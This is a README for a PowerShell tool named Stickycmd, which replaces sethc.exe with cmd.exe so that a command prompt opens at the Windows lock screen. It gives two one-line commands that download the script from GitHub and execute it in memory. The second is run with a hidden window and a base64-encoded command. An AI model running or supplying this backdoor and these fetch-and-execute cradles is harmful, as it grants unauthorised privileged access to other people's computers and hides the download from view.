PowerShell Script that replaces sethc.exe with cmd.exe, allowing you to get a cmd prompt during the lockout screen.
Youtube: https://youtu.be/uMJYADGFc-I
##Run
You can either run locally by downloading the script or run remotely using:
powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/securethelogs/Stickycmd/master/stickycmd.ps1')”
or
powershell -nop -noni -w hidden -enc aQBlAHgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAYIGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBlAGMAdQByAGUAdABoAGUAbABvAGcAcwAvAFMAdABpAGMAawB5AGMAbQBkAC8AbQBhAHMAdABlAHIALwBzAHQAaQBjAGsAeQBjAG0AZAAuAHAAcwAxACcAKQApAA==